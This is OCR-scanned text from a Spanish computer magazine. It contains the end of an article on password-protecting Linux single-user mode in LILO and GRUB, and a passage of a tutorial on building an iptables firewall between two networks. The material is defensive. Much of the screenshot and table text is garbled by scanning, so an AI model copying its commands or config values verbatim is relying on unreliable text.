finalidad es llegar a todos los lectores, tengan el nivel
que tengan “

Pero como lo que nos interesa es
modificarlo, tenemos que editarlo. Para
ello podemos elegir el editor de texto que
queramos (como por ejemplo el vi, pico,
emacs...). En nuestro caso elegiremos
el vi, que es el que uso yo.

Vamos entonces escribiremos vi
/etc/inittab y nos mostrara el archivo
para que podamos editarlo.
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En este archivo tenemos lo primero el
runlevel por defecto, que l6gicamente lo
podéis cambiar si queréis:

Id:5:initdefault:

Después nos explica los runlevels y justo
debajo, alli los tenemos todos y cada uno
de ellos con el orden desde el 0 a el 6:

0:0:wait:/etc/init.d/rc 0
1:1:wait:/etc/init.d/rc 1
2:2:wait:/etc/init.d/rc 2

Y asi hasta 6. Bueno, eso ya lo veis
vosotros.

La primera solucion que podemos
proponer para protegernos del ataque
anteriormente descrito es la de impedir
que pueda entrar en modo single o
monousuario... ¢y como se hace eso?
Pues de muchas maneras, la primera que
se me ocurre es poniendo un comentario
en la linea del init 1:

» Un comentario...

Un comentario en Linux es poner una # delante de
la linea que quieras que linux no lea o no ejecute.

Pues bien, con el archivo /etc/inittab
abierto con el vi, pulsamos “i” y
entramos en modo insertar, es decir, ya
podemos escribir en el archivo. Bajamos
y nos colocamos en la linea del init 1 y

ponemos esto:

#1:1:wait:/etc/init.d/rc 1
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» No confundais...

No confundais la # de la shell con el comentario (#)

en un archivo.

Podemos apreciar que al colocar el
comentario (#), la linea entera se pone
del mismo color, esto quiere decir que
esa linea queda descartada.

Ahora solo nos queda grabar los cambios.
Para eso pulsamos ESC (esto hace que
salgamos del modo INSERTAR (i),
seguidamente pulsamos : (pulsamos la
tecla dos puntos) y escribimos x y le
damos al INTRO.

Con esto nos sacara a la terminal de
nuevo, y ahora ya nadie podra entrar en
modo single o monousuario. Por lo tanto
nadie podra hacerse con la password del
root.

Pero esto es un poco... como diria... un
sistema “a lo cutre”. Porque si nosotros
(que somos los administradores)
gueremos entrar en modo monousuario
para trabajar con ese runlevel, no
podremos hacerlo... y eso “no es plan”!!!

A continuacion os ensefiaré como podemos
poner password al modo single, tanto en
Lilo, como el Grub. De esta manera solo
nosotros podremos entrar en modo
monousuario .

En LILO debemos ir a su archivo de
configuracion el cual esta en
/etc/lilo.conf. Bueno ya sabemos como
editarlo con el vi (vi /etc/lilo.conf).

Nos saldra una serie de explicaciones de
configuracién. Nos vamos al final y nos
encontraremos algo parecido a esto:
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Image=boot/vmlinuz-2.4.2-0.33.6
Label=linux

Root=/dev/hda4
Initrd=/boot/initrd-2.4.2.-0.33.6.img
Read-only

Pues bien, debéis afiadir estas dos lineas:

Restricted
Password=laquetuquieras

Quedandonos asi:

Restricted
Password=laquetuquieras
Image=boot/vmlinuz-2.4.2-0.33.6
Label=linux

Root=/dev/hda4
Initrd=/boot/initrd-2.4.2.-0.33.6.img
Read-only

Una vez escrito esto lo guardamos como
antes lo he explicado, anda ir un poquito
“pa tras” @

Pero la cosa no queda aqui, porque diréis...
¢Coémo voy a dejar la password asi, tan
a la vista? Lo que tenemos que hacer
entonces es poner permisos a ese archivo,
para que solo el root pueda visualizarlo,
lo ponemos con este comando.

#chmod 600 /etc/lilo.conf

-D IMPORTANTE

Una vez guardado esto, debemos entrar en una terminal
limpia como root y escribir la palabra "‘lilo™", si no
los cambios no se guardaran correctamente.
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Haciendo esto siempre os pedira el
password para entrar en modo
monousuario y tendremos bien protegido
nuestro sistema Linux =

Ahora vamos con el Grub, que es mas
gue interesante.

Nos vamos a una shell y llamamos la
aplicacion que nos va encriptar la password
en md5... si, has leido bien, Grub encripta
tu password en md>5.

No necesitas saber nada sobre el MDS5 para seguir
con el articulo, pero si te interesa saber qué es eso de
la encriptacion MDS5 te recuerdo que ya ha sido
ampliamente tratado en los niimeros anteriores de la
revista.

#grub-md5-crypt

Cuando pongamos eso nos pedira una
password, asi que la introducimos y acto
seguido nos da los hash de nuestra
password (nuestra password encriptada).
Anodtala o cépiala, ya que luego lo
necesitaremos.

» Para el que...

Para el que nunca ha visto una password encriptada
en MDS5, simplemente apuntar que obtendra un
“churro” parecido a esto:
$1SUSJK7xFegdxWH6VuppCUSIb

Vamos entonces al archivo de
configuracion de Grub, y lo editamos
como antes hemos dicho, en mi caso:

#vi /boot/grub/menu.lst

Tenemos varias opciones: el tiempo que
esta Grub esperando antes de arrancar
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automaticamente (timeout 8) y una lista
de nuestros sistemas operativos. Pues
bien, es algo como esto:

Timeout 8
Default 0
Fallback 1

Title Linux

Root (hdO,5)

Kernel /boot/vmlinuz-2.4.22
root=/dev/hda6 hdc=ide-scsi
Title Windows XP Profesional
Rootnoverify (hd0,0)
Chainloader +1

Lo que tenemos que hacer es bien
sencillo, debemos colocar en medio de
los dos bloques esta linea:

password --md5 (y aqui la contrasefia difrada, el “churro”)
Quedandonos de esta forma:

Timeout 8
Default 0

Fallback 1
password —md5 $1$U$IK7xFegdxWH6VuppCUSIb

Title Linux

Root (hdO,5)

Kernel /boot/vmlinuz-2.4.22
root=/dev/hda6 hdc=ide-scsi
Title Windows XP Profesional
Rootnoverify (hd0,0)
Chainloader +1

¢Que no tienes la contrasena cifrada???!!!
¢Qué no tienes el “churro”? ¢No dije que
la anotases?... Vale, pues no pasa nada,
puedes repetir los pasos anteriores para
conseguirla de nuevo.

Una vez escrito eso, se guarda (ya sabéis
como editar y guardar). Pues muy bien,
ya tenemos configurado el Grub. Ahora,
cada vez que arranque tu sistema, en el

PC PASO A PASO N° 24

menu de Grub te pedira de pulses la tecla
‘p’ (para que puedas poner comandos)...
¢y que te pide cuando pulsas la 'p’?

Correcto, la password que hemos creado
para el grub (por supuesto en modo texto
plano, olvidate ya del “churro”) =

Bueno con esto hemos terminado de
asegurar el acceso a los gestores de
arranque, para evitar ser hackeados.

A lo largo del articulo hemos visto los dos
gestores de arranque mas famosos de
Linux (LILO y GRUB), hemos accedido
como root al sistema, y hemos conocido
los diferentes tipos de RUNLELVELS... y...
sobre todo... hemos aprendido a configurar
de manera un poco mas segura un sistema
Linux.

Sin mas que por el afan de haber distraido
un rato al lector, me despido con un hasta

luego =

Agradecimientos a los miembros de la
revista, ya que cada mes hacen despertar
esa maravillosa sensacion que llevamos
en nuestro interior, me refiero por
supuesto a la CURIOSIDAD.

Gonzalo Asensio Asensio
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¢VYa estas cansado de este curso? ¢Sequro? Pues venga. que ya queda pocolll

Para los aphcados. este mes veremos. entre otras cosas: como proteger una red de
ordenadores. filtros (de sahda. MAC. NAT-PAT...]. equilbrio de carga... ...

En el articulo anterior construimos un
cortafuegos disefiado para defender a
una maquina con una sola tarjeta de
red... (tarjeta, NIC, interfaz, interface...
elige el nombre)

Esa implementacion era buena para los
casos en los que nos “enfrentamos” ante
una red no confiable (como puede ser
Internet) desde un PC, portatil o maquina
individual. Obviamente, si disponemos
de varias maquinas deberiamos adoptar
soluciones individuales para cada una de
ellas, ufff... éy si son 125? ¢y si hay
distintos sistemas operativos presentes?
¢y si hay varias redes o subredes? ¢y si
existen otros dispositivos de filtrado como
routers u otros firewalls?

Pues si alguno de esos casos estan
presentes, es probable que la arquitectura
de cortafuegos descrita en el articulo
anterior no sea la adecuada... sobre todo
si lo que tenemos es una red con muchas
maquinas, tendriamos que administrar,
configurar e implementar decenas de
cortafuegos individualmente, eso es un
gasto administrativo importante a la vez
que pesado y monétono....

El escenario sobre el cual se basa este
articulo es el de una pequefia red
empresarial en la que disponemos de
una red interna (LAN) que quiere
comunicarse con otras redes dentro de
esa misma empresa 0 que necesita

comunicacién con Internet, la idea
principal es esta:

P Disponemos de un numero
indeterminado de maquinas conectadas
a un switch/hub que brinda la conexidn
ethernet para los recursos internos de
la empresa-casa-colegio-lo-que-sea.

b Esa LAN opera en el rango de red
192.168.0.0/24 vy dispone de sus
propios servidores FTP, Web, DNS,
Correo, etc... unos “para consumo
propio”, es decir, accesibles sélo desde
la Intranet y otros que ofrecen servicios
a clientes externos.

» En esa misma red local queremos
implementar un cortafuegos
implementado en una maquina LiNUX
con dos tarjetas de red, las cuales
enlazaran dos redes distintas, una seria
la propia LAN y la otra NIC conecta
otra red local de rango 172.28.0.0/16

> La maquina LINUX tendra, por tanto,
al menos dos interfaces, cuyas
direcciones IP son:

Ethl, para la red interna:
192.168.0.254/24
Eth0, para la red externa:

172.28.0.254/16

» Ciertamente la red 172.28.0.0/16 es
otra red interna, en el ejemplo que
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nos ocupa se tratara de una “especie”
de zona desmilitarizada en la que
podremos alojar los servidores
publicos, el router que conecta a
Internet, etc... es decir, para ser mas
claros, en la red 172.28.0.0/16
dispondremos de:

» Un Switch-hub (que aunque
pueden tener IP’s no lo tendremos
en cuenta)

P Un router con IP interna
172.28.0.1/16 e IP publica (la-que-
sea, no importa)

» Otra/s maquinas con IP’s (las que
sean) que formasen esa DMZ.

» Los clientes de Internet entrardn a
nuestra red interna (si lo permitimos)
a través del router, éste redireccionara
por puertos el trafico y se lo entregara
al cortafuegos LiINUX-IPTables con IP
172.28.0.254/16 quien se encargara
de traducir y entregar el paquete de
datos al host que pertenezca a la red
192.168.0.0/16

Obviamente ese cortafuegos debera
funcionar como “algo mas” que un
simple reenviador de datos, existiran
filtros que limitaran las posibilidades
de conexion.

b Todas las comunicaciones de los
clientes de la LAN (192.168.0.0/24)
pasaran a través del cortafuegos, ya
sea para comunicarse con la red
172.28.0.0/16 o para salir a Internet.
Para ello ese firewall tendra que
comunicarse con esas dos redes (por
eso necesitaremos mas de una NIC en
el cortafuegos)

Ni mucho menos pretendo “defender”
este disefio de red, ni es el mejor, ni el
peor, ni el mas idoneo, todo dependera
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de cada caso, pero es simple y con
“diferentes” actores: cortafuegos,
switches, routers, dos redes LAN, varios
servidores del lado de cada LAN, etc...

Lo que se escapa de este escenario es la
implementacion de los filtros adecuados
en el router que brinda acceso a Internet,
seria objeto de otro articulo enterito. Pero
piensa que es importante, porque ese
router es quien se llevara la mayor parte
de las bofetadas, ademas, si no esta bien
configurado dejamos “al descubierto” todo
lo que se conecte en la red 172.28.0.0/16,
como por ejemplo el servidor web. Por
eso decia antes que no seria mala idea
montar en ese host un cortafuegos
individual como el que hicimos en el
articulo de la revista 23.

Graficamente el escenario es este:

']j—%

=2

% Redinterna: 192.168.0

~

Switch LAN: 192.168.0.024 S

NIC: 192.168.0.254/24 L
LINUX+Firewall+Router+|PTables

NIC: 172.28.0.254/16
Switch LAN: 172.28.0.016

WAN: IP.PUBLICA.XX

NIC: 172.28.0.1116

Router LANAVAN

Como ya se ha dicho, la configuracion y
administracion del router LAN/WAN
queda fuera del objeto de este articulo,
sin embargo supongamos que existen (al
menos) las siguientes directivas, filtros
y listas de acceso:

> Por su Interfaz interna, sélo aceptara
paquetes que provengan de la IP
172.28.0.254 (la IP de la NIC del
firewall LiNUX)

Figura 1. Escenario de
red empresarial
protegida.
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P Traduccion de direcciones de red
(NAT) activada (traduce las IP’s de la
LAN 172.28.0.0/16 en la IP publica
asignada y ademas, redirecciona a la
maquina 172.28.0.254/16 de todas
aquellas conexiones cuya IP origen
sea Internet.

» Como medida de seguridad adicional,
so6lo aceptara paquetes de datos cuy
origen sean las IP’s internas
anteriormente citadas y filtra por MAC
las mismas, o sea, que para que se
pueda acceder al router desde la LAN,
ademas de verificar que la IP origen
sea 172.28.0.254/16, se toma en
cuenta la MAC origen. Si “alguien”
lograse hacer un IP-spoof, también
tendra que falsear la MAC, cosa que
si disponemos de “un buen” switch les
sera bastante complicado (por no decir
imposible).

Si bien queda fuera del ambito de este
texto, voy a poner unas pantallitas de
como estaria configurado este router
junto con una breve explicacién de las
mismas

Pantalla 1. Filtros de

Filtros de salida

salida del router

Se deniega cualquier trafico de datos
LANMAN

cuyas IP’s no sean las que se han descrito.

MY 1
Outbound Packet Filter

» Outbound Filter Enable
O Allow all 10 pass except those match the following rules.
® Deny allto pass except those match the following rules

[ ID | Source IP : Ports Destination IP : Ports | _Enable |
1

172.28.0.254 [

OD0O®

ooooOoa

[ inbound Fier.

] [ MACLevel

[cz
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Filtros MAC

Sélo podran acceder al router las IP’s que
se muestran si su MAC es la que se ha
relacionado. Esto creard un pequefio
problemita si un buen dia cambiamos de
tarjeta de red en cualquiera de esas
maquinas y el problemita seria mas grave
si cambiamos las dos tarjetas de red...
tendriamos que acceder al router por
consola o resetearlo por completo (si se
deja), pero eso es otra historia...

_—

MAC Address Control

P MAC Address Control (7] Enable

00-05-1C-1F-F3-68 172280.254
172280
172.230

172280

DHCP clients | —select one— || Copyto |jp - v
[_Previous page | [_Nextpoge | (Help

B ow o n =

[ Connection control  Clients with C checked can connect 1o this device; and | 8llow ¥ unspecified MAC addresses to connect

| D | MAC Address IP Address | ¢ |

O

oDO

Filtros NAT-PAT

Aqui podemos hacer varias cosas, una de
ellas seria redirigir todas las peticiones
que vengan de Internet hacia la IP
172.28.0.254 (que es una de las interfaces
del cortafuegos), o bien, utilizar el mismo
router como “primer filtro” ante Internet...

Obviamente la solucion mas efectiva es
la segunda, de ese modo “ocultaremos”
el cortafuegos tras el router, eso si, la
lista de servicios que ofrece nuestra LAN
tendremos que relacionarla tanto aqui
como en la arquitectura del cortafuegos
IPTables.

Estos servicios que pretendemos ofrecer
son: DNS, FTP, WEB, Terminal Services,
SMTP y POP3, o sea, que hay que abrir
los puertos 53, 21, 80, 3389, 25y 110
en el router y entregarle esas conexiones
al firewall (IP 172.28.0.254) que ya se
las apafara....

Pantalla 2. Fittrado por
MAC en el router
LANWAN
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Virtual Server

| D | SewicePorts | SeverP | Enable |

! 60 172.28 n’ﬁ F

‘ 2 172280754 F

. & 172.25.0[25¢ F

4 110 172.28.025% F

° - 172280754 "

b k” ] 172.28 0[254 F

’ - 172280754 F

8 fpass 172280254 =

t I 12280] o

" 1r2280] [

" [ 172.28 n[ r

1 I 12280 o

Well known services | - selectone - x| Copyto |jp[—- =]

Pantala 3. Eiros Bueno, este router tiene mas filtros: de
NATIPAT en el Router administracion remota, de telnet, para
LANWAN DDNS, etc... no es el caso, no se trata

de aprender como administrar el router,
estamos con IPTables.... pero he creido
conveniente mostrar los ejemplos para
entender wuna cosa, ALGO
IMPORTANTE:

P Cuando construyamos el cortafuegos
IPTables con NAT, tendremos que
traducir las direcciones de red
192.168.0.0/24 en una Unica
direccion... écual? Pues en la
172.28.0.254!!! porque sino el router
desechara el paquete de datos, le
acabamos de explicar que sdlo se
pueden comunicar con él, la IP
172.28.0.254!1

»Cuando el router reciba el paquete
de datos, volverd a hacer NAT de la
red 172.28.0.0/16 y lo traducira a la
IP publica asignada, es decir, si le
llega algun tipo de trafico que no sean
esas IP’s lo descartara... de este modo,
aun en el supuesto que algun “istillo”
cambie los cables de su PC, gane
acceso como administrador de su PC
cambiando Ila IP al rango
172.28.0.0/16 y se conecte
directamente al switch de la red en
la que estd el router, NO TENDRA
COMUNICACIC')N, porque su IP no sera
la permitida...
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Esto es importante si en la red hay
usuarios moviles (con portatiles, por
ejemplo) si un buen dia llega uno se
pone como IP dentro del rango
172.28.xxx.xxx/16 y se conecta
directamente al switch... el router lo

ignorara ©

b En una frase, o perteneces a la red
192.168.0.0/24 y tienes como
puerta de enlace Ia IP
192.168.0.254, o no te comunicas,
ni con la LAN ni con Internet, ni con
nada.

Bien, ahora empecemos de una vez con
el disefio de cortafuegos de red....

Opciones de configuracion para
syscti

Al igual que en el articulo anterior debemos
verificar previamente si nuestro LINUX,
mejor dicho, si las opciones de nucleo
estan “preparadas” y si se permite el
reenvio de paquetes, la redireccién, la
validacion de origen, etc... Esto se

consigue manejando las opciones de Tabla 1. Opciones y
sysctl valores de sysctlconf

OPCIONES DE sysctl

Opcion Valores y descripcion

0: Ignora redirecciones

net.ipvd.confinterfaz.accept_redirects 1: Acepta redirecciones

0: Ignora paquetes dirigidos desde el origen

net.ipv4.confinterfaz.accept_source_route 1: Los acepta

0: Deshabilita el registro de paquetes con

net.ipv4.confinterfaz.log_martians direcciones “imposibles”
1: Lo habilita
. . 0: Deshabilita la validacion de direccion origen
net.ipv4.confinterfaz.rp_filter 1+ Los habilita

: : . 0: Deshabilita la reclireccion de envios.
net.ipv4.confinterfaz.send_redirects 1+ Lo habilita

0: Habilita las respuestas a solicitudes eco de
net.ipvd.icmp_echo_ignore_broadcast difusion
1: Deshabilita las solicitudes eco de difusion

o 0: Deshabilita el reenvio de paqustes
et piofa 1: Habilita el reenvio

o i 0: Habilita el descubrimiento del camine MTU
Gl I oo i st 1: Deshabilita el descubrimiento

Valor de tiempo expresado en segundes que
conservara un fragmento IP en la memoria

netipv4.ipfrag_time
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Alguna aclaracién se ha de hacer:

P En aquellas opciones donde aparece
“interfaz”, se puede escribir el nombre
de la tarjeta de red. También seria
correcto incluir la palabra “all” para
referirse a todas... por ejemplo:

net.ipv4.conf.all.accept_redirects=1
net.ipv4.conf.ethO.accept_redirects=1

b Estas opciones se han de incluir en
el archivo /etc/sysctl.conf

Para ello, podemos editar dicho archivo
con nuestro editor de texto preferido
o incluir directamente los parametros
usando la orden systcl -w seguida de
la opcién y valor, por ejemplo:

Verifiguemos el archivo /etc/sysctl.conf

hd /etc/sysctl.conf - gedit

Archivo Editar Ver Buscar Documentos Ayuda

ODe&E x & 9 e

Nuevo Abrir r Cemar Imprimir

sysctl.conf

¥ Ob R @

r Cortar Copiar Pegar Buscar Reemplazar

# Kernel sysctl configuration file for Red Hat Linux
#

# For binary values, 0 is disabled, 1 is enabled.
# sysctl.conf (5) for more details.

T

# Contreols IP packet forwarding

€ net.ipvd.ip_forward = 0

u‘q

10# Controls source route verification
11

@onf .default.rp_f i@

13

14# Controls the System Request debugging functionality of the kernel

15kernel.sysrqg = 0
16

17# Controls whether core dumps will append the PID to the core filename.

184 Useful for debugging multi-threaded applications.
19kernel.core_uses_pid = 1
20

See sysctl(8) and

Ln13, Col. 1

sysctl —w net.ipv4.conf.all.accept_redirects=1
sysctl —w net.ipv4.conf.ethO.accept_redirects=1

No hay que olvidar que tras la/s
modificaciones efectuadas tendremos
que usar:

Sysctl —p|para que los cambios tomen

efecto, tanto si usamos un editor de
texto como si lo hacemos desde la
linea de terminal.

Algunas opciones de sysctl pueden
resultarte “complejas” si no conoces
bien algunos de los protocolos que
forman la pila TCP/IP, por ejemplo
ipfrag, pmtu, broadcast.

AVISO: Los valores estan a cero (0),
deberian “activarse”, es decir,
asignarles el valor de uno... pero asi
veremos "los problemas” a medida
que vayamos avanzado -

Pantalla 4. El archivo
lete/sysctl.conf

En el articulo anterior, PyC explico
de una forma excelente qué es y
para qué se usa la fragmentacion,
el MTU, el broadcast, etc... mejor
te remito al articulo del numero
23 del curso de TCP/IP.... seguro
que tras "otra lectura” al mismo
entenderas a la perfeccion el
objeto de estas opciones en
IPTables.

Ahora vamos a revisar y/o configurar
TCP/IP en los clientes de la red y en el
cortafuegos.

Revisando la Configuracion
TCP/IP del cortafuegos y sus
clientes

Ya hemos dicho que hay una serie de
maquinas en una LAN, la que corresponde
al rango 192.168.0.0/24, y que nuestro
cortafuegos dispone de dos tarjetas de
red, una en el rango anterior y otra en el
rango 172.28.0.0/16

Empecemos por el cortafuegos, para ello
recurriremos a ifconfig a ver que nos
dice...
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-

, Ahh!!l Y cuales son las
Archivo Editar Ver Terminal Ir Ayuda puertas de enlace de cada una
[root@linux-rh8 root]# ifconfig 3 de Ias interfaces del propio
etho Link encap:Ethernet HWaddr 00:05:1C:1F:F9:68 |-
inet addr:172.28.0.254 Bcast:172.28.255.255 Mask:255.255.0.0 cortafuegos?
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1l
RX packets:49 errors:0 dropped:0 overruns:0 frame:0 .
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 b Para Ia mterfaz ethor que
e o U L conecta la red 172.28.0.0/16, su
RX bytes:8587 (8.3 Kb) TX bytes:1050 (1.0 Kb)
Interrupt:11 Base address:0xc000 puerta de enlace es EL
ROUTER!!!, es decir, la IP
ethl Link encap:Ethernet HWaddr 00:05:1C:08:AE:7C
inet addr:192.168.0.254 Bcast:192.168.0.255 Mask:255.255.255.0 1722801/16
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0 .
TX packets:4 errors:0 dropped:0 overruns:0 carrier:0 b Para la interfaz de LAN
collisions:0 txqueuelen:100 interna (ethl1), la que se
RX bytes:0 (0.0 b) TX bytes:240 (240.0 b) corres onde con Ia red
Interrupt:5 Base address:0xe000 P
192.168.0.0/24 NO HAY PUERTA
lo Link encap:Local Loopback m
inet addr:127.0.0.1 Mask:255.0.0.0 DE ENLACE!!!
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX_ packets:92 errors:0 dropped:0 overruns:0 fram?:D Ahora vamos a comprobar la
TX packets:92 errors:0 dropped:0 overruns:0 carrier:0 ..
collisions:0 txqueuelen:0 conectividad, lo haremos desde
RX bytes:5976 (5.8 Kb) TX bytes:5976 (5.8 Kb) | el cliente, primero comprobar que

d Ilegamos al cortafuegos....

Pantala 8. RECUERDA, en estos ejemplo, la
i interfaz ethO corresponde a la LAN
enlas interfaces del “ "

T externa”, la que enlaza con el

router, Internet, etc... mientras que

la interfaz ethl, conecta la LAN
interna (donde estaran los host a
proteger), es decir, la red
192.168.0.0/24

ev C:AWINDOWS\System32\cmd.exe

IC:\Documents and Settings\Victor>ping 192.168.8.254

g a 192.168.0.254 con 32 bytes de datos:

tiempo<{im TTL=64
tiempo{im TTL=64
2 tiempo<{im TTL=64
tiempo<{im TTL=64

Pantalla 7-Prueba de
coneetividad entre el

192.168.

“cliente y su puerta de

-8
enlace

Perfecto... probemos con la “"otra” red...

Ahora revisemos la configuraciéon TCP/IP
de cualquier cliente de la LAN interna.

cv C:AWINDOWS\System32\cmd.exe

C:~Documents and SettingswUictor>ipconf iy

onfiguracién IP de Windows

Adaptador Ethernet Conexidén de Area local

-168.8.58
.255.255.8
2.168.0.254

e C:AWINDOWS\System32\cmd.exe

[C:\Documents and Settings\Wictor>ping 172.28.08.254

Pantalla 8. Prueba de

conectividad entre el

cliente yt1a puerta de
enlace externa el

Haciendo ping a 172.28.8.254 con 32 hyt de datos:

enpo<im TTL

Pantalla 6.
Confguracién TCPIP Como vemos, este cliente tiene como IP
de un cliente

192.168.0.50/24 y como puerta de

oualguera defa LAN enlace: 192.168.0.254 que es una de

interna.

las IP’s del cortafuegos LiNUX IPTables

e
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ra agotado
ra agotado
ra agotado
ra agotado

Pantalla-9. Prueba de
conectividad entre el

licitud.

citud.
licitud.
e p@ng para

cliente y-una direccion

enviados = 4, recibidos = @, perdidos = 4

IPexterna.

éQué diferencia hay entre ambas
pantallas?

Ya... claro... en una hay respuesta y en
la otra no... lo que queria preguntar es
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Pantalla 10.
Configuracidn correcta
def archivo
fete/sysctl.conf

sysctl.conf

Nuevo Abrir Gu

éPor qué se llega a la IP 172.28.0.254
(la ethO del cortafuegos) y no a la
172.28.0.1 (la interfaz interna del
router)?

Pues porque los paquetes de datos
NO SALEN del cortafuegos, las
opciones de reenvio estan deshabilitadas,
por tanto nuestro LINUX “no sabe”
entregar paquetes de datos a ninguna
otra sitio que no sean sus propias IP’s.

Vale, vamos a solucionar esto habilitando
esas dos opciones del archivo
/etc/sysctl.conf....

Editamos dicho archivo y cambiamos
los valores a 1, luego ejecutamos la
orden sysctl -p

hd /etc/sysctl.conf - gedit
Archivo  Editar

be&d x &, 9 ¢

Ver Buscar Documentos Aiuda

rdar Cerrar Imprimir Deshacer Rehacer

¥ OB @ B

Cortar Coplar Pegar Buscar Reemplazar

Ahora probemos con el ping a laIP 172.28.0.1
(el router) que antes no “/legabamos”

\WINDOWS\System32\cmd. exe

and Settings~\Uictor>ping 172.28.0.1

a 172.28.8.1 con 32

0.
bides = 4, perdidos = @

lta en milisegundos:

s, Media = ims

Pantaila 12-Prueba de
conectividad entre un
cliente y-la red
172.2810.0/16 con
éxifo

Vale... ya recibimos respuesta del router... y
también podremos acceder a cualquier otra
IP de las redes 172.28.0.0/16 y de la red
192.168.0.0/24... pero... €Y si probamos
con una IP de Internet?, por ejemplo a
google....

:\WINDOWS\System32\cmd.exe

Pantafla 13, Prueba
e conectividad de un
cliente a Internet. El
servidor de google

Nuestro gozo
pozo... resulta que no
llegamos a Internet...

en un

# Kernel

#
# For binary values, 0 is disabled, 1 is enabled.
# sysctl.

sysctl configuration file for Red Hat Linux

conf (5) for more details.

# Controls IP packet forwarding

0~ W

ip_forwardD

9

10# Controls source route verification

11
1z

conf.default.rp_fi lteE

16

18# Useful

20

14# Contreols the System Reguest debugging functionality of the kernel
15kernel.sysrqg = 0

17# Controls whether core dumps will append the PID to the core filename.

for debugging multi-threaded applications.

19kernel.core_uses_pid = 1

See sysctl(8) and

éSera el router? éSera
que no escribimos bien
la IP? éiqué sera?

Pues no voy a “mostrarlo”,
pero el router estd bien
y la IP es correcta. No voy
a poner las pantallitas, si
hago ese mismo ping
desde el cortafuegos, hay
respuesta, créelo, lo que
pasa es que nuestro

Ln 12, Col. 36 INS

LiINUX ya sabe que tiene

Pantalla 1. Actualizar
valores del archivo
fete/sysct.conf

b4 root@linux-rh8:~

Archivo Editar Ver Terminal Ir Ayuda
net.ipv4.ip_forward = 1
net.ipv4.conf.default.rp_filter = 1
kernel.sysrq = 0
kernel.core_uses_pid = 1

Eoot@linux—rhs root]# I
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[root@linux-rh8 root]# sysctl -p [+]

que pasar los paquetes de la red
192.168.0.0 alared 172.28.0.0, pero no
sabe qué hacer cuando le llega un paquete
con destino a otras redes... tampoco sabe
gué hacer con las respuestas de esas
redes en caso de que las reciba...
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Tenemos que configurar
IPTables para explicarle que
todo aquello que entre por
una interfaz se lo entregue || #binish A
a la otra y viceversa.... es

' HOIPT.txt - Bloc de notas

Archivo  Edicion  Formato  Mer  Awuda

. - N # Cortafuegos IPTFW-HaC
decir, habilitar el reenvio | &
de paquetes desde |*#

# Firewall para una rdguina con una sola tarjeta de red
IPTables. # Reglas restrictivas de EJ5, walidacidn v anti-flood

# Derechos Feservados () Vie_Thor 2004 Foros HackeCrack
ElI Reenvio de |j#

# httpihansne hackserack comfphpBBE2index ph
Paquetes e T P P

# Software Libre, puedes rodificarlo wio distribitlo bajo
Los ejem p|os que vienen a # loz térrninos de la Licencia GHTT pU}J]JEﬂJjﬂ. por

. L. ; # Free Software Fundation, waner goncorm
continuacion son la forma mas

rudimentaria y sencilla de |} IPT="jshinjiptables"
configurar IPTables para que
los datos de una red pasen
a otra y a su vez, se
encaminen correctamente. No
ofrecen seguridad alguna, es i{é! < $IFT]

decir, el cortafuegos se ecrl'lu:u "Error: Ho se puede ejecutar '$IPT |, Revisa la configuracidn
comportara como un simple exit 1

intermediario, colocando los |ff fi

paquetes de datos en la
puerta de enlace adecuada y |§ 4 BORRADO DE CADENAS, REGLAS ¥ PUESTA A4 CERO DE CONTADORES
en la tarjeta de red oportuna,
no tomara decisiones en

# COLPROBAR EL ESTADO DE [PTABLES

. . . p $IPT -F INFUT 4CCEPT
cuanto al origen, ni aplicara $1PT .F OUTPUT ACCEPT

filtros, ni registrara accesos, || $IFT -F FORWARD ACCEPT
ni nada de nada... (al menos | $IFT-F

$IPT -X

fior tabla in filter nat mangle
do

Lo primero que haremos es $IPT -t $tabla -F
“limpiar” las posibles reglas || ¥FT-t3tdla-X

I . $IPT -t $tabla -2
que existiesen previamente done

de momento).

en IPTables, iniciar el servicio | service iptahles save
si no lo estd, etc... service Lptebles restart Inicfalizacionpara
érecuerdas el script del |}« IPTables, /NOIPT
numero anterior que

Cédligo 1. Script de

llamamos ./NOIPT? Pues vamos a -

usarlo para dejar “limpito” IPTables y en ~ 1@mbien lo puedes descargar de

funcionamiento... http://www.forohxc.com/Docs/fw/24/N
OIPT.txt

Por si acaso no lo tienes o no lo recuerdas, _ _
este era: Lo ejecutamos mediante ./NOIPT y

recuerda que este script lo usaremos
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hd root@ linux-rha:~
Archivo Editar

siempre que queramos empezar desde
cero.... es util para no tener que andar
vaciando las cadenas, limpiando reglas,
etc... lo hacemos “de un golpe”

Ahora afiadiremos lo siguiente:

Ver Teminal Ir Ayuda

[root@linux-rh8 root]# ./NOIPT [2]
Guardando las reglas actuales para /etc/sysconfig/iptables:[ OK ]

Vaciando todas las reglas actuales y las cadenas definidas [ OK
Eliminando todas las reglas actuales y cadenas definidas po[ 0K
Aplicando reglas del firewall iptables: [ oK ]
[root@linux-rh8 root]#

[root@linux-rh8 root]#

lio:
Jos:

[root@linux-rh8 root]# iptables -A FORWARD -i ethO -o ethl -j ACCEPT
[root@linux-rh8 root]# iptables -A FORWARD -i ethl -o ethO -j ACCEPT

| TTo0TEIInuUX-Th8 ro0L]#*

Archivo  Editar
18:03:34.043860 192.168.0.50.1029 > 195,235.96.90.domain:
18:03:35.067951 arp who-has 172.28.0.50 tell 172.28.0.1
18:03:36.046990 192.168.0.50.1020 > 195.235.113.3.domain:
1952

. 047042 192 168 .0 S0 1029
8:03:36.225639 arp who-has 172.28.0.50 tell 172.28.0.1
8:03:36.766339 arp who-has 172.28.0.50 tell 172.28.0.1

8 packets received by filter

Ver Teminal Ir

Ayuda

26+ A7 www.google.es. (31) (]

26+ A? www.google.es. (31)

2690 donain 26+ A? www.google.es. (31)

0 packets dropped by kernel
Euut@lmux—rhs root]#

a
=

Cddigo 2. Prueba de
reenvio de paquetes
de una red a ofra

Con esto acabamos de explicar a IPTables
que ACEPTE los paquetes que se originen
en la interfaz eth0 (172.28.0.254) y los
reenvie (FORWARD) a la interfaz eth1
(192.168.0.254) y viceversa.

Pero... no lo tendremos todo ganado,
aparentemente deberiamos ser capaces
de traspasar paquetes por el cortafuegos
y éste se ha de encargar de posicionarlos
en las interfaces correspondientes para
que sean enrutados, pero....
ver qué ocurre cuando hacemos un ping
a la direccién de google....

vamos a

and Settings\Wic

v C:AWINDOWS\System32\cmd.exe

r>ping 213.239.59.184
